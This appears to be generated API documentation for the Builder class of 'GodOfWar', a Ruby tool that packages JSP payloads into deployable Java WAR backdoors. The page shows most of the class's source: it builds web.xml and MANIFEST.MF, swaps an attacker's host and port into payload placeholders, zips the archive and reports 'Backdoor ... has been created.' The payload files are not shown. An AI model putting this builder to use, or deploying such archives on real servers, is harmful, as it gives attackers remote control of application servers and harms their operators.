Class: GodOfWar::Builder

Inherits:
Object
  • Object
show all
Defined in:
lib/godofwar/builder.rb

Overview

Builder module responsible for building base files around GodOfWar ├── cmd_get.jsp ├── META-INF │   └── MANIFEST.MF │ Manifest-Version: 1.0 │ Created-By: 1.6.0_10 (Sun Microsystems Inc.) └── WEB-INF

└── web.xml

Instance Attribute Summary collapse

Instance Method Summary collapse

Constructor Details

#initialize(payload) {|_self| ... } ⇒ Builder

Returns a new instance of Builder.

Yields:

  • (_self)

Yield Parameters:



18
19
20
21
22
# File 'lib/godofwar/builder.rb', line 18

def initialize(payload)
  @output  = nil
  @payload = payload
  yield self
end

Instance Attribute Details

#outputObject

Returns the value of attribute output.



16
17
18
# File 'lib/godofwar/builder.rb', line 16

def output
  @output
end

Instance Method Details

#directory_structureObject



24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# File 'lib/godofwar/builder.rb', line 24

def directory_structure
  if @output
    @war_dir = @output
  else
    @war_dir = @payload.name
    @output  = @payload.name
  end

  @output = @output? @output : @payload.name
  rename_if_exists("#{@war_dir}.war")
  puts "Creating Directory Structure:".tell
  FileUtils.mkdir_p(File.join(@war_dir, 'WEB-INF'))
  FileUtils.mkdir_p(File.join(@war_dir, 'META-INF'))
  puts "#{@war_dir}".step_success
  puts File.join(@war_dir, 'WEB-INF').step_success
  puts File.join(@war_dir, 'META-INF').step_success
end

#manifest_mfString

web_xml builds ‘MANIFEST.MF’ file for a given jsp file

Returns:

  • (String)


72
73
74
75
76
77
78
79
80
81
82
# File 'lib/godofwar/builder.rb', line 72

def manifest_mf
  manifest_mf_path = File.join(@war_dir, 'META-INF', 'MANIFEST.MF')
  manifest_mf =
      <<~MANIFEST
        Manifest-Version: 1.0
        Created-By: 1.6.0_10 (Sun Microsystems Inc.)
      MANIFEST

  File.write(manifest_mf_path, manifest_mf)
  puts "#{manifest_mf_path}".step_success
end

#set_payload(host, port) ⇒ Object



84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
# File 'lib/godofwar/builder.rb', line 84

def set_payload(host, port)
  puts "Setting up payload:".tell

  payload_file = File.join(@payload.path, "#{@payload.name}.jsp")

  if @payload.conf.empty?
    payload_raw = File.read(payload_file)
  else
    host = host.nil? ? @payload.conf["host"] : host
    port = port.nil? ? @payload.conf["port"] : port
    payload_raw = File.read(payload_file)
                      .sub('HOSTHOST', "#{host}")
                      .sub('PORTPORT', "#{port}")
  end
  puts "#{@payload.name}.jsp ⟿ #{@output}.jsp".step_success
  File.write(File.join(@output, "#{@output}.jsp"), payload_raw)
  puts "#{File.join(@war_dir, @output)}.jsp".step_success
end

#warObject

build_war build the WAR file by recursively the source directory content then zip it



104
105
106
107
108
109
110
111
112
113
114
# File 'lib/godofwar/builder.rb', line 104

def war
  final_war = "#{@output}.war"
  Zip::File.open(final_war, Zip::File::CREATE) do |zip|
    Dir.glob("#{@war_dir}/**/*" ).each do |file|
      zip.add(file.sub(@output, '').sub(/[\/|\\]/, ''), file)
    end
  end
  puts "Cleaning up".tell
  FileUtils.rm_rf(@war_dir)
  puts "Backdoor ".done + "#{@output}.war".bold + " has been created."
end

#web_xmlString

WEB-INF

web_xml builds ‘web.xml’ file for a given jsp file

Returns:

  • (String)


48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
# File 'lib/godofwar/builder.rb', line 48

def web_xml
  web_xml_path = File.join(@war_dir, 'WEB-INF', 'web.xml')
  web_xml = <<~WEBXML
              <?xml version="1.0" ?>
              <web-app xmlns="http://java.sun.com/xml/ns/j2ee"
                 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
                 xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee
                 http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"
                version="2.4">
              <servlet>
                <servlet-name>#{@output.capitalize}</servlet-name>
                <jsp-file>/#{@output}.jsp</jsp-file>
              </servlet>
              </web-app>
            WEBXML

  File.write(web_xml_path, web_xml)
  puts "#{web_xml_path}".step_success
end